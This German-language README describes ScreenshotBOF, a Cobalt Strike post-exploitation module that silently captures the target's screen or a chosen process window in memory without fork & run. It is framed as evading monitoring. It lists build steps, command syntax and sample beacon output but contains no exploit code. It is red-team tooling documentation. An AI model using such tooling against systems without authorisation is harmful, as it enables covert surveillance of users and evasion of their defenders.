ScreenshotBOF

Eine alternative Screenshot-Funktionalität für Cobalt Strike, die WinAPI verwendet und kein fork & run durchführt. Screenshot wird im Speicher heruntergeladen.

Features

• JPEG-Kompression
• Herunterladen in den Speicher als Screenshot oder als Datei
• Unterstützt das Erfassen minimierter Fenster
• Graustufen, JPEG-Qualität und Downscaling zur Reduzierung der Dateigröße

Selbst kompilieren

1. git clone das Repository
2. make ausführen

Speichermethoden:

0. Datei auf die Festplatte schreiben
1. Datei über Beacon herunterladen (nur Cobalt Strike)
2. Datei über Beacon als Screenshot herunterladen (nur Cobalt Strike)

PID

0: Vollbild erfassen (PID=0) spezifische PID: erfasse spezifische PID (funktioniert auch bei minimierten Fenstern!)

Verwendung

1. importiere das Skript screenshotBOF.cna in Cobalt Strike
2. verwende den Befehl screenshot_bof {lokaler Dateiname} {Speichermethode 0/1/2} {pid/0} {graustufen 0/1} {qualität 0-100} {skalierung 0-100}
   • Die Ausführung von screenshot_bof ohne Argumente öffnet einen GUI-Dialog

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

Anmerkungen

• Es wird keine Umgehung durchgeführt, was in Ordnung sein sollte, da die verwendeten WinAPIs nicht schädlich sind

Warum habe ich dies erstellt?

Cobalt Strike verwendet eine Technik namens fork & run für viele seiner Post-Exploitation-Funktionen, einschließlich des Screenshot-Befehls. Während dieses Verhalten Stabilität bietet, ist es mittlerweile bekannt und wird stark überwacht. Dieses BOF soll eine OPSEC-sicherere Version der Screenshot-Funktionalität bieten.

Danksagungen

• BMP als Datei speichern von https://stackoverflow.com/a/60667564
• Herunterladen in den Speicher von https://github.com/anthemtotheego/CredBandit
• @BinaryFaultline für (veraltete) BMP-Darstellung in AggressorScript und die Screenshot-Callback-Funktion
• Bitmap zu JPEG von https://github.com/WKL-Sec/HiddenDesktop

Haftungsausschluss

Üblicher Haftungsausschluss hier, ich bin nicht verantwortlich für etwaige Verbrechen gegen die Menschlichkeit oder einen Atomkrieg, den Sie durch die Verwendung dieses schlecht geschriebenen Codes verursachen könnten.